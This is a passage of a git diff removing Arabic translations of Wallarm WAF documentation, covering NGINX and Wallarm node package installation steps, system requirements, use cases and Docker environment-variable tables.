curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/ubuntu/wallarm-node focal/4.6/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "Ubuntu 22.04 LTS (jammy)" - ```bash - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/ubuntu/wallarm-node jammy/4.6/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "CentOS 7.x" - ```bash - sudo yum install -y epel-release - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/7/4.6/x86_64/wallarm-node-repo-4.6-0.el7.noarch.rpm - ``` -=== "Amazon Linux 2.0.2021x and lower" - ```bash - sudo yum install -y https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/7/4.6/x86_64/wallarm-node-repo-4.6-0.el7.noarch.rpm - ``` -=== "AlmaLinux, Rocky Linux أو Oracle Linux 8.x" - ```bash - sudo yum install -y epel-release - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/8/4.6/x86_64/wallarm-node-repo-4.6-0.el8.noarch.rpm - ``` -=== "RHEL 8.x" - ```bash - sudo dnf install -y https://dl.fedoraproject.org/pub/epel/epel-release-latest-8.noarch.rpm - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/8/4.6/x86_64/wallarm-node-repo-4.6-0.el8.noarch.rpm - ``` - -## 3. تثبيت حزم Wallarm - -الحزم التالية مطلوبة: - -* `nginx-module-wallarm` لوحدة NGINX-Wallarm -* `wallarm-node` للوحدة النمطية [postanalytics][install-postanalytics-docs]، قاعدة بيانات Tarantool، وحزم NGINX-Wallarm الإضافية - -=== "ديبيان" - ```bash - sudo apt -y install --no-install-recommends wallarm-node nginx-module-wallarm - ``` -=== "أوبونتو" - ```bash - sudo apt -y install --no-install-recommends wallarm-node nginx-module-wallarm - ``` -=== "سنتوس أو أمازون لينكس 2.0.2021x وأقل" - ```bash - sudo yum install -y wallarm-node nginx-module-wallarm - ``` -=== "AlmaLinux, Rocky Linux أو Oracle Linux 8.x" - ```bash - sudo yum install -y wallarm-node nginx-module-wallarm - ``` -=== "RHEL 8.x" - ```bash - sudo yum install -y wallarm-node nginx-module-wallarm - ``` - -## 4. اتصل بوحدة Wallarm - -1. افتح الملف `/etc/nginx/nginx.conf`: - - ```bash - sudo vim /etc/nginx/nginx.conf - ``` -2. تأكد من أن السطر `include /etc/nginx/conf.d/*;` قد أضيف إلى الملف. إذا لم يكن هذا السطر موجودًا، أضفه. -3. أضف التوجيهة التالية مباشرة بعد التوجيهة `worker_processes`: - - ```bash - load_module modules/ngx_http_wallarm_module.so; - ``` - - مثال على الكود التكويني مع التوجيهة المضافة: - - ``` - user nginx; - worker_processes auto; - load_module modules/ngx_http_wallarm_module.so; - - error_log /var/log/nginx/error.log notice; - pid /var/run/nginx.pid; - ``` - -4. انسخ ملفات الكود التكويني لإعداد النظام: - - ``` bash - sudo cp /usr/share/doc/nginx-module-wallarm/examples/*.conf /etc/nginx/conf.d/ - ``` - -## 5. اتصل العقدة الفلترة بـ Wallarm Cloud - ---8<-- "../include/waf/installation/connect-waf-and-cloud-4.6.md" diff --git a/include-ar/waf/installation/linux-packages/common-steps-to-install-node-nginx-stable.md b/include-ar/waf/installation/linux-packages/common-steps-to-install-node-nginx-stable.md deleted file mode 100644 index 06ab847f67..0000000000 --- a/include-ar/waf/installation/linux-packages/common-steps-to-install-node-nginx-stable.md +++ /dev/null @@ -1,197 +0,0 @@ -## 1. تثبيت NGINX الثابت والاعتمادات - -هذه هي الخيارات المتاحة لتثبيت NGINX `stable` من مستودع NGINX: - -* التثبيت من الحزمة المبنية - - === "Debian" - ```bash - sudo apt -y install curl gnupg2 ca-certificates lsb-release debian-archive-keyring - echo "deb http://nginx.org/packages/debian `lsb_release -cs` nginx" | sudo tee /etc/apt/sources.list.d/nginx.list - curl -fSsL https://nginx.org/keys/nginx_signing.key | sudo gpg --no-default-keyring --keyring gnupg-ring:/etc/apt/trusted.gpg.d/nginx.gpg --import - sudo chmod 644 /etc/apt/trusted.gpg.d/nginx.gpg - sudo apt update - sudo apt -y install nginx - ``` - === "Ubuntu" - 1. قم بتثبيت الاعتمادات المطلوبة لـ NGINX الثابت: - - ```bash - sudo apt -y install curl gnupg2 ca-certificates lsb-release - ``` - 1. قم بتثبيت NGINX الثابت: - - ```bash - echo "deb http://nginx.org/packages/ubuntu `lsb_release -cs` nginx" | sudo tee /etc/apt/sources.list.d/nginx.list - curl -fsSL https://nginx.org/keys/nginx_signing.key | sudo apt-key add - - sudo apt update - sudo apt -y install nginx - ``` - === "CentOS أو Amazon Linux 2.0.2021x وأقل" - - 1. إذا تمت إضافة مستودع EPEL في CentOS 7.x، يرجى تعطيل تثبيت NGINX الثابت من هذا المستودع عن طريق إضافة `exclude=nginx*` إلى الملف `/etc/yum.repos.d/epel.repo`. - - مثال على الملف المعدل `/etc/yum.repos.d/epel.repo`: - - ```bash - [epel] - name=Extra Packages for Enterprise Linux 7 - $basearch - #baseurl=http://download.fedoraproject.org/pub/epel/7/$basearch - metalink=https://mirrors.fedoraproject.org/metalink?repo=epel-7&arch=$basearch - failovermethod=priority - enabled=1 - gpgcheck=1 - gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-EPEL-7 - exclude=nginx* - - [epel-debuginfo] - name=Extra Packages for Enterprise Linux 7 - $basearch - Debug - #baseurl=http://download.fedoraproject.org/pub/epel/7/$basearch/debug - metalink=https://mirrors.fedoraproject.org/metalink?repo=epel-debug-7&arch=$basearch - failovermethod=priority - enabled=0 - gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-EPEL-7 - gpgcheck=1 - - [epel-source] - name=Extra Packages for Enterprise Linux 7 - $basearch - Source - #baseurl=http://download.fedoraproject.org/pub/epel/7/SRPMS - metalink=https://mirrors.fedoraproject.org/metalink?repo=epel-source-7&arch=$basearch - failovermethod=priority - enabled=0 - gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-EPEL-7 - gpgcheck=1 - ``` - - 2. قم بتثبيت NGINX الثابت من المستودع الرسمي: - - ```bash - echo -e '\n[nginx-stable] \nname=nginx stable repo \nbaseurl=http://nginx.org/packages/centos/$releasever/$basearch/ \ngpgcheck=1 \nenabled=1 \ngpgkey=https://nginx.org/keys/nginx_signing.key \nmodule_hotfixes=true' | sudo tee /etc/yum.repos.d/nginx.repo - sudo yum install -y nginx - ``` - === "RHEL 8.x" - ```bash - echo -e '\n[nginx-stable] \nname=nginx stable repo \nbaseurl=http://nginx.org/packages/centos/$releasever/$basearch/ \ngpgcheck=1 \nenabled=1 \ngpgkey=https://nginx.org/keys/nginx_signing.key \nmodule_hotfixes=true' | sudo tee /etc/yum.repos.d/nginx.repo - sudo yum install -y nginx - ``` - -* تجميع الكود المصدري من الفرع `stable` من [مستودع NGINX](https://hg.nginx.org/pkg-oss/branches) والتثبيت باستخدام نفس الخيارات. - - !!! info "NGINX لـ AlmaLinux، Rocky Linux أو Oracle Linux 8.x" - هذا هو الخيار الوحيد لتثبيت NGINX على AlmaLinux، Rocky Linux أو Oracle Linux 8.x. - -معلومات أكثر تفصيلاً حول تثبيت NGINX متاحة في [التوثيق الرسمي لـ NGINX](https://www.nginx.com/resources/admin-guide/installing-nginx-open-source/). - -## 2. أضف مستودعات Wallarm - -يتم تثبيت وتحديث Wallarm من مستودعات Wallarm. لإضافة مستودعات، استخدم الأوامر لنظام التشغيل الخاص بك: - -=== "Debian 11.x (bullseye)" - ```bash - sudo apt -y install dirmngr - curl -fSsL https://repo.wallarm.com/wallarm.gpg | sudo gpg --no-default-keyring --keyring gnupg-ring:/etc/apt/trusted.gpg.d/wallarm.gpg --import - sudo chmod 644 /etc/apt/trusted.gpg.d/wallarm.gpg - sh -c "echo 'deb https://repo.wallarm.com/debian/wallarm-node bullseye/4.8/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "Ubuntu 18.04 LTS (bionic)" - ```bash - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/ubuntu/wallarm-node bionic/4.8/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "Ubuntu 20.04 LTS (focal)" - ```bash - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/ubuntu/wallarm-node focal/4.8/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "Ubuntu 22.04 LTS (jammy)" - ```bash - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/ubuntu/wallarm-node jammy/4.8/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "CentOS 7.x" - ```bash - sudo yum install -y epel-release - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/7/4.8/x86_64/wallarm-node-repo-4.8-0.el7.noarch.rpm - ``` -=== "Amazon Linux 2.0.2021x وأقل" - ```bash - sudo yum install -y https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/7/4.8/x86_64/wallarm-node-repo-4.8-0.el7.noarch.rpm - ``` -=== "AlmaLinux، Rocky Linux أو Oracle Linux 8.x" - ```bash - sudo yum install -y epel-release - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/8/4.8/x86_64/wallarm-node-repo-4.8-0.el8.noarch.rpm - ``` -=== "RHEL 8.x" - ```bash - sudo dnf install -y https://dl.fedoraproject.org/pub/epel/epel-release-latest-8.noarch.rpm - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/8/4.8/x86_64/wallarm-node-repo-4.8-0.el8.noarch.rpm - ``` - -## 3. تثبيت حزم Wallarm - -يتطلب الأمر الحزم التالية: - -* `nginx-module-wallarm` لوحدة NGINX-Wallarm -* `wallarm-node` لوحدة [postanalytics][install-postanalytics-docs] وقاعدة بيانات Tarantool وحزم NGINX-Wallarm الإضافية - -=== "Debian" - ```bash - sudo apt -y install --no-install-recommends wallarm-node nginx-module-wallarm - ``` -=== "Ubuntu" - ```bash - sudo apt -y install --no-install-recommends wallarm-node nginx-module-wallarm - ``` -=== "CentOS أو Amazon Linux 2.0.2021x وأقل" - ```bash - sudo yum install -y wallarm-node nginx-module-wallarm - ``` -=== "AlmaLinux، Rocky Linux أو Oracle Linux 8.x" - ```bash - sudo yum install -y wallarm-node nginx-module-wallarm - ``` -=== "RHEL 8.x" - ```bash - sudo yum install -y wallarm-node nginx-module-wallarm - ``` - -## 4. ربط وحدة Wallarm - -1. افتح الملف `/etc/nginx/nginx.conf`: - - ```bash - sudo vim /etc/nginx/nginx.conf - ``` -2. تأكد من أن السطر `include /etc/nginx/conf.d/*;` تمت إضافته إلى الملف. إذا لم يكن هناك هذا السطر، أضفه. -3. أضف التعليمة التوجيهية التالية بعد الأمر القائد `worker_processes`: - - ```bash - load_module modules/ngx_http_wallarm_module.so; - ``` - - مثال على التكوين مع التعليمة التوجيهية المضافة: - - ``` - user nginx; - worker_processes auto; - load_module modules/ngx_http_wallarm_module.so; - - error_log /var/log/nginx/error.log notice; - pid /var/run/nginx.pid; - ``` - -4. نسخ ملفات التكوين لإعداد النظام: - - ``` bash - sudo cp /usr/share/doc/nginx-module-wallarm/examples/*.conf /etc/nginx/conf.d/ - ``` - -## 5. ربط العقدة الفلاترية بـ Wallarm Cloud - ---8<-- "../include/waf/installation/connect-waf-and-cloud-4.6.md" diff --git a/include-ar/waf/installation/linux-packages/nginx-distro-use-cases.md b/include-ar/waf/installation/linux-packages/nginx-distro-use-cases.md deleted file mode 100644 index 57f9edf4b1..0000000000 --- a/include-ar/waf/installation/linux-packages/nginx-distro-use-cases.md +++ /dev/null @@ -1,6 +0,0 @@ -من بين جميع خيارات النشر المدعومة لـ[Wallarm][platform]، يُوصى باستخدام حزم DEB/RPM لـ NGINX المُقدم من التوزيع لنشر Wallarm في هذه **حالات الاستخدام**: - -* تعتمد بنيتك التحتية على الأجهزة المادية أو الآلات الافتراضية دون استخدام طرق قائمة على الحاويات. عادةً ما تُدار هذه الإعدادات باستخدام أدوات البنية التحتية ككود (IaC) مثل Ansible أو SaltStack. -* تم بناء خدماتك حول NGINX المُقدم من التوزيع. يمكن لـ Wallarm توسيع وظائفه باستخدام هذه الحزم. - -[platform]: https://docs.wallarm.com/ \ No newline at end of file diff --git a/include-ar/waf/installation/linux-packages/nginx-plus-use-cases.md b/include-ar/waf/installation/linux-packages/nginx-plus-use-cases.md deleted file mode 100644 index 231e3bb560..0000000000 --- a/include-ar/waf/installation/linux-packages/nginx-plus-use-cases.md +++ /dev/null @@ -1,4 +0,0 @@ -من بين جميع [خيارات توزيع Wallarm](platform) المدعومة، يُوصى باستخدام حزم DEB/RPM لـ NGINX Plus لتوزيع Wallarm في هذه **الحالات الاستخدامية**: - -* بنيتك التحتية تعتمد على الأجهزة المادية أو الآلات الافتراضية دون استخدام طرق مبنية على الحاويات. عادةً، تُدار هذه الإعدادات بأدوات البنية التحتية كرمز (IaC) مثل Ansible أو SaltStack. -* خدماتك مبنية حول NGINX Plus. يمكن لـ Wallarm توسيع وظائفها باستخدام هذه الحزم. \ No newline at end of file diff --git a/include-ar/waf/installation/linux-packages/nginx-stable-use-cases.md b/include-ar/waf/installation/linux-packages/nginx-stable-use-cases.md deleted file mode 100644 index 60ddb4ec60..0000000000 --- a/include-ar/waf/installation/linux-packages/nginx-stable-use-cases.md +++ /dev/null @@ -1,4 +0,0 @@ -من بين كل الخيارات المدعومة لتوزيع [Wallarm][platform]، يُنصَح باستخدام حزم DEB/RPM لـ NGINX Stable لتوزيع Wallarm في هذه **الحالات الاستخدامية**: - -* بُنيت البنية التحتية الخاصة بك على أساس الأجهزة المعدنية الصلبة أو الآلات الافتراضية دون استخدام طرق مبنية على الحاويات. عادةً، تُدار هذه الإعدادات باستخدام أدوات البنية التحتية كنموذج للتعليمات البرمجية (IaC) مثل Ansible أو SaltStack. -* تم بناء خدماتك حول NGINX Stable. يمكن لـ Wallarm أن يوسع وظائفه باستخدام هذه الحزم. \ No newline at end of file diff --git a/include-ar/waf/installation/linux-packages/requirements-nginx-distro.md b/include-ar/waf/installation/linux-packages/requirements-nginx-distro.md deleted file mode 100644 index 9aa6f349e8..0000000000 --- a/include-ar/waf/installation/linux-packages/requirements-nginx-distro.md +++ /dev/null @@ -1,9 +0,0 @@ -* الوصول إلى الحساب بدور **المدير** والمصادقة الثنائية معطلة في واجهة Wallarm لـ[السحابة الأمريكية](https://us1.my.wallarm.com/) أو [السحابة الأوروبية](https://my.wallarm.com/) -* تعطيل SELinux أو تكوينه وفقًا لـ[التعليمات](configure-selinux-instr) -* تنفيذ جميع الأوامر كمستخدم رئيسي (مثل `root`) -* الوصول إلى `https://repo.wallarm.com` لتنزيل الحزم. تأكد أن الوصول غير محجوب بواسطة جدار الحماية -* الوصول إلى `https://us1.api.wallarm.com` للعمل مع سحابة Wallarm الأمريكية أو إلى `https://api.wallarm.com` للعمل مع سحابة Wallarm الأوروبية. إذا كان يمكن تكوين الوصول عبر خادم الوكيل فقط، استخدم [التعليمات](configure-proxy-balancer-instr) -* Access to the IP addresses below for downloading updates to attack detection rules, as well as retrieving precise IPs for your allowlisted, denylisted, or graylisted countries, regions, or data centers - - --8<-- "../include/wallarm-cloud-ips.md" -* تثبيت محرر نصوص **vim**، **nano**، أو أي آخر. في التعليمات، يستخدم **vim** \ No newline at end of file diff --git a/include-ar/waf/installation/linux-packages/requirements-nginx-plus.md b/include-ar/waf/installation/linux-packages/requirements-nginx-plus.md deleted file mode 100644 index a7344d6516..0000000000 --- a/include-ar/waf/installation/linux-packages/requirements-nginx-plus.md +++ /dev/null @@ -1,13 +0,0 @@ -* الوصول إلى الحساب بدور **المدير** وتعطيل المصادقة الثنائية في واجهة Wallarm لـ [السحابة الأمريكية](https://us1.my.wallarm.com/) أو [السحابة الأوروبية](https://my.wallarm.com/) -* تعطيل SELinux أو ضبطه حسب [التعليمات][configure-selinux-instr] -* إصدار NGINX Plus 29 أو 30 (R29 أو R30) - - !!! info "إصدارات NGINX Plus المخصصة" - إذا كان لديك إصدار مختلف، يُرجى الرجوع إلى التعليمات حول [كيفية ربط وحدة Wallarm بإصدارات مخصصة من NGINX][nginx-custom] -* تنفيذ جميع الأوامر كمستخدم فائق الصلاحيات (مثل `root`) -* الوصول إلى `https://repo.wallarm.com` لتنزيل الحزم. تأكد من عدم حظر الوصول بواسطة جدار الحماية -* الوصول إلى `https://us1.api.wallarm.com` للعمل مع سحابة Wallarm الأمريكية أو إلى `https://api.wallarm.com` للعمل مع سحابة Wallarm الأوروبية. إذا كان يمكن تكوين الوصول عبر خادم وكيل فقط، فيُرجى استخدام [التعليمات][configure-proxy-balancer-instr] -* Access to the IP addresses below for downloading updates to attack detection rules, as well as retrieving precise IPs for your allowlisted, denylisted, or graylisted countries, regions, or data centers - - --8<-- "../include/wallarm-cloud-ips.md" -* تثبيت محرر نصوص **vim**، **nano**، أو أي آخر. في التعليمات، يُستخدم **vim** \ No newline at end of file diff --git a/include-ar/waf/installation/linux-packages/requirements-nginx-stable.md b/include-ar/waf/installation/linux-packages/requirements-nginx-stable.md deleted file mode 100644 index d770f9c348..0000000000 --- a/include-ar/waf/installation/linux-packages/requirements-nginx-stable.md +++ /dev/null @@ -1,13 +0,0 @@ -* الوصول إلى الحساب بدور **المدير** وتعطيل المصادقة الثنائية في لوحة تحكم Wallarm لـ [السحابة الأمريكية](https://us1.my.wallarm.com/) أو [السحابة الأوروبية](https://my.wallarm.com/) -* تعطيل SELinux أو تهيئته وفقًا لـ[التعليمات][configure-selinux-instr] -* نسخة NGINX 1.24.0 - - !!! info "إصدارات NGINX المخصصة" - إذا كانت لديك نسخة مختلفة، يرجى الرجوع إلى التعليمات حول [كيفية ربط وحدة Wallarm ببناء مخصص من NGINX][nginx-custom] -* تنفيذ جميع الأوامر كمستخدم فائق الصلاحيات (مثل `root`) -* الوصول إلى `https://repo.wallarm.com` لتنزيل الحزم. تأكد من أن الوصول ليس محظورًا بواسطة جدار الحماية -* الوصول إلى `https://us1.api.wallarm.com` للعمل مع سحابة Wallarm الأمريكية أو إلى `https://api.wallarm.com` للعمل مع سحابة Wallarm الأوروبية. إذا كان يمكن تكوين الوصول عبر خادم البروكسي فقط، استخدم [التعليمات][configure-proxy-balancer-instr] -* Access to the IP addresses below for downloading updates to attack detection rules, as well as retrieving precise IPs for your allowlisted, denylisted, or graylisted countries, regions, or data centers - - --8<-- "../include/wallarm-cloud-ips.md" -* تثبيت محرر النصوص **vim**، **nano**، أو أي آخر. في التعليمات، يُستخدم **vim** \ No newline at end of file diff --git a/include-ar/waf/installation/linux-packages/separate-postanalytics-reqs.md b/include-ar/waf/installation/linux-packages/separate-postanalytics-reqs.md deleted file mode 100644 index b9d296820b..0000000000 --- a/include-ar/waf/installation/linux-packages/separate-postanalytics-reqs.md +++ /dev/null @@ -1,6 +0,0 @@ -* الوصول إلى الحساب بدور **المدير** والمصادقة الثنائية معطلة في واجهة Wallarm لـ[السحابة الأمريكية](https://us1.my.wallarm.com/) أو [السحابة الأوروبية](https://my.wallarm.com/) -* تعطيل SELinux أو تكوينه وفقًا لـ[التعليمات][configure-selinux-instr] -* تنفيذ جميع الأوامر كمستخدم فائق الصلاحيات (مثل `root`) -* الوصول إلى `https://repo.wallarm.com` لتحميل الحزم. تأكد من عدم حظر الوصول بواسطة جدار الحماية -* الوصول إلى `https://us1.api.wallarm.com` عند العمل مع Wallarm Cloud الأمريكية أو إلى `https://api.wallarm.com` عند العمل مع Wallarm Cloud الأوروبية. إذا كان يمكن تكوين الوصول عبر خادم وكيل فقط، استخدم [التعليمات][configure-proxy-balancer-instr] -* تثبيت محرر نصوص **vim**، **nano**، أو أي محرر آخر. في الأوامر في هذا المقال، يُستخدم **vim** \ No newline at end of file diff --git a/include-ar/waf/installation/nginx-distr-requirements-4.0.md b/include-ar/waf/installation/nginx-distr-requirements-4.0.md deleted file mode 100644 index 4b1b0e4fd1..0000000000 --- a/include-ar/waf/installation/nginx-distr-requirements-4.0.md +++ /dev/null @@ -1,10 +0,0 @@ -* الوصول إلى الحساب بدور **المدير** والمصادقة الثنائية معطلة في واجهة Wallarm لل[السحابة الأمريكية](https://us1.my.wallarm.com/) أو [السحابة الأوروبية](https://my.wallarm.com/) -* تعطيل SELinux أو تكوينه وفقًا ل[التعليمات](configure-selinux-instr) -* تنفيذ جميع الأوامر كمستخدم متميز (مثل `root`) -* بالنسبة لمعالجة الطلبات والتحليلات اللاحقة على خوادم مختلفة: يتم تثبيت التحليلات اللاحقة على خادم منفصل وفقًا ل[التعليمات](install-postanalytics-instr) -* الوصول إلى `https://repo.wallarm.com` لتنزيل الحزم. تأكد من أن الوصول ليس محظورًا بواسطة جدار الحماية -* الوصول إلى `https://us1.api.wallarm.com` للعمل مع سحابة Wallarm الأمريكية أو إلى `https://api.wallarm.com` للعمل مع سحابة Wallarm الأوروبية. إذا كان يمكن تكوين الوصول عبر خادم وكيل فقط، فاستخدم [التعليمات](configure-proxy-balancer-instr) -* Access to the IP addresses below for downloading updates to attack detection rules, as well as retrieving precise IPs for your allowlisted, denylisted, or graylisted countries, regions, or data centers - - --8<-- "../include/wallarm-cloud-ips.md" -* تثبيت محرر النصوص **vim**، **nano**، أو أي آخر. في التعليمات، يتم استخدام **vim** \ No newline at end of file diff --git a/include-ar/waf/installation/nginx-docker-all-env-vars-218.md b/include-ar/waf/installation/nginx-docker-all-env-vars-218.md deleted file mode 100644 index 8ecebd6802..0000000000 --- a/include-ar/waf/installation/nginx-docker-all-env-vars-218.md +++ /dev/null @@ -1,10 +0,0 @@ -| متغير البيئة | الوصف | مطلوب | -| --- | ---- | ---- | -| `DEPLOY_USER` | البريد الإلكتروني لحساب المستخدم **Deploy** أو **المدير** في واجهة استخدام Wallarm. | نعم | -| `DEPLOY_PASSWORD` | كلمة المرور لحساب المستخدم **Deploy** أو **المدير** في واجهة استخدام Wallarm. | نعم | -| `NGINX_BACKEND` | نطاق أو عنوان IP للمورد المراد حمايته بحلول Wallarm. | نعم | -| `WALLARM_API_HOST` | خادم API Wallarm:
              • `us1.api.wallarm.com` للسحابة الأمريكية
              • `api.wallarm.com` للسحابة الأوروبية
              بشكل افتراضي: `api.wallarm.com`. | لا | -| `WALLARM_MODE` | وضع العقدة:
              • `block` لحظر الطلبات الخبيثة
              • `monitoring` لتحليل الطلبات دون حظرها
              • `off` لتعطيل تحليل ومعالجة حركة المرور
              بشكل افتراضي: `monitoring`. | لا | -| `TARANTOOL_MEMORY_GB` | [كمية الذاكرة][allocating-memory-guide] المخصصة لـ Tarantool. يمكن أن تكون القيمة عددًا صحيحًا أو عائمًا (نقطة . هي فاصلة عشرية). بشكل افتراضي: 0.2 غيغابايت. | لا | -| `WALLARM_ACL_ENABLE` | تفعيل وظيفة حظر IP مع [الإعدادات الافتراضية][default-ip-blocking-settings]. يمكن تعيين القيم التالية لمتغير:
              • `true` لتفعيل وظيفة حظر IP
              • `false` لتعطيل وظيفة حظر IP
              القيمة الافتراضية (إذا لم يتم تمرير المتغير إلى الحاوية) هي `false`.
              لتفعيل وظيفة حظر IP مع الإعدادات المخصصة، تحتاج إلى تحديد التوجيهات NGINX [المناسبة][wallarm-acl-directive] وتشغيل الحاوية [بتركيب][mount-config-instr] ملف التكوين مع التوجيهات المحددة.

              القيم `on` / `enabled` / `ok` / `yes`

              منذ إصدار 2.16.0-8 لصورة عقدة التصفية، القيم `on` / `enabled` / `ok` / `yes` المعينة لهذا المتغير تعطل وظيفة حظر IP. نوصي بنشر أحدث إصدار من الصورة كما هو موضح في الوثيقة الحالية وتمرير القيمة `true` أو `false` في هذا المتغير.

              | لا | -| `DEPLOY_FORCE` | يستبدل عقدة Wallarm موجودة بأخرى جديدة إذا كان اسم عقدة Wallarm الموجودة يطابق هوية الحاوية التي تقوم بتشغيلها. يمكن تعيين القيم التالية لمتغير:
              • `true` لاستبدال عقدة التصفية
              • `false` لتعطيل استبدال عقدة التصفية
              القيمة الافتراضية (إذا لم يتم تمرير المتغير إلى الحاوية) هي `false`.
              اسم عقدة Wallarm دائمًا ما يطابق هوية الحاوية التي تقوم بتشغيلها. استبدال عقدة التصفية مفيد إذا كانت معرفات حاويات Docker في بيئتك ثابتة وتحاول تشغيل حاوية Docker أخرى مع عقدة التصفية (على سبيل المثال، حاوية بإصدار جديد من الصورة). إذا كانت قيمة المتغير `false` في هذه الحالة، ستفشل عملية إنشاء عقدة التصفية. | لا | \ No newline at end of file diff --git a/include-ar/waf/installation/nginx-docker-all-env-vars-3.4.md b/include-ar/waf/installation/nginx-docker-all-env-vars-3.4.md deleted file mode 100644 index 71b322614b..0000000000 --- a/include-ar/waf/installation/nginx-docker-all-env-vars-3.4.md +++ /dev/null @@ -1,10 +0,0 @@ -متغير البيئة | الوصف | مطلوب ---- | ---- | ---- -`DEPLOY_USER` | البريد الإلكتروني لحساب المستخدم بصلاحية **النشر** أو **المسؤول** في وحدة التحكم Wallarm. | نعم -`DEPLOY_PASSWORD` | كلمة المرور لحساب المستخدم بصلاحية **النشر** أو **المسؤول** في وحدة التحكم Wallarm. | نعم -`NGINX_BACKEND` | نطاق أو عنوان IP للموارد المراد حمايتها بحل Wallarm. | نعم -`WALLARM_API_HOST` | خادم API Wallarm:
              • `us1.api.wallarm.com` للسحابة الأمريكية
              • `api.wallarm.com` للسحابة الأوروبية
              بشكل افتراضي: `api.wallarm.com`. | لا -`WALLARM_MODE` | وضع العقدة:
              • `block` لحجب الطلبات الضارة
              • `safe_blocking` لحجب الطلبات الضارة الصادرة فقط من [عناوين IP المدرجة بالقائمة الرمادية][graylist-docs]
              • `monitoring` لتحليل الطلبات دون حجبها
              • `off` لتعطيل تحليل ومعالجة الحركة
              بشكل افتراضي: `monitoring`.
              [وصف مفصل لأوضاع التصفية →][filtration-modes-docs] | لا -`WALLARM_APPLICATION` | معرف فريد للتطبيق المحمي المستخدم في سحابة Wallarm. يمكن أن تكون القيمة عددًا صحيحًا موجبًا باستثناء `0`.

              القيمة الافتراضية (إذا لم يتم تمرير المتغير إلى الحاوية) هي `-1` والتي تشير إلى التطبيق **الافتراضي** المعروض في وحدة التحكم Wallarm → **الإعدادات** → **التطبيق**.

              [المزيد من التفاصيل عن إعداد التطبيقات →][application-configuration]

              دعم متغير `WALLARM_APPLICATION`

              يدعم متغير `WALLARM_APPLICATION` ابتداءً من صورة Docker بإصدار `3.4.1-1`.

              | لا -`TARANTOOL_MEMORY_GB` | [كمية الذاكرة][allocating-memory-guide] المخصصة لـ Tarantool. القيمة يمكن أن تكون عدد صحيح أو عشري (نقطة . هي فاصل العشري). بشكل افتراضي: 0.2 غيغابايت. | لا -`DEPLOY_FORCE` | استبدال عقدة Wallarm موجودة بأخرى جديدة إذا تطابق اسم العقدة Wallarm الموجودة مع معرف الحاوية التي تقوم بتشغيلها. يمكن تعيين القيم التالية للمتغير:
              • `true` لاستبدال عقدة التصفية
              • `false` لتعطيل استبدال عقدة التصفية
              القيمة الافتراضية (إذا لم يتم تمرير المتغير إلى الحاوية) هي `false`.
              اسم عقدة Wallarm يتطابق دائمًا مع معرف الحاوية التي تقوم بتشغيلها. استبدال عقدة التصفية مفيد إذا كانت معرّفات حاويات Docker في بيئتك ثابتة وتحاول تشغيل حاوية Docker أخرى بعقدة تصفية (على سبيل المثال، حاوية بإصدار جديد من الصورة). إذا كانت القيمة في هذه الحالة `false`، سيفشل عملية إنشاء عقدة التصفية. | لا \ No newline at end of file diff --git a/include-ar/waf/installation/nginx-docker-all-env-vars-3.6.md b/include-ar/waf/installation/nginx-docker-all-env-vars-3.6.md deleted file mode 100644 index e5b92013d2..0000000000 --- a/include-ar/waf/installation/nginx-docker-all-env-vars-3.6.md +++ /dev/null @@ -1,11 +0,0 @@ -| متغير البيئة | الوصف | مطلوب | -| --- | ---- | ---- | -| `DEPLOY_USER` | البريد الإلكتروني لحساب المستخدم بصفة **الموظف** أو **المدير** في واجهة Wallarm Console. | نعم | -| `DEPLOY_PASSWORD` | كلمة المرور لحساب المستخدم بصفة **الموظف** أو **المدير** في واجهة Wallarm Console. | نعم | -| `NGINX_BACKEND` | النطاق أو عنوان IP للمورد المراد حمايته بواسطة حل Wallarm. | نعم | -| `WALLARM_API_HOST` | خادم API من Wallarm:
              • `us1.api.wallarm.com` للسحابة الأمريكية
              • `api.wallarm.com` للسحابة الأوروبية
              القيمة الافتراضية: `api.wallarm.com`. | لا | -| `WALLARM_MODE` | وضع العقدة:
              • `block` لحجب الطلبات الضارة
              • `safe_blocking` لحجب الطلبات الضارة التي تأتي من عناوين IP المدرجة في القائمة الرمادية فقط
              • `monitoring` لتحليل الطلبات دون حجبها
              • `off` لتعطيل تحليل ومعالجة حركة المرور
              القيمة الافتراضية: `monitoring`.
              [الوصف التفصيلي لأوضاع التصفية →][filtration-modes-docs] | لا | -| `WALLARM_APPLICATION` | معرف فريد للتطبيق المحمي المستخدم في سحابة Wallarm. يمكن أن تكون القيمة عددًا صحيحًا موجبًا باستثناء `0`.

              القيمة الافتراضية (إذا لم يتم تمرير المتغير إلى الحاوية) هي `-1` والتي تشير إلى التطبيق **الافتراضي** المعروض في Wallarm Console → **الإعدادات** → **التطبيق**.

              [المزيد من التفاصيل حول إعداد التطبيقات →][application-configuration]

              دعم المتغير `WALLARM_APPLICATION`

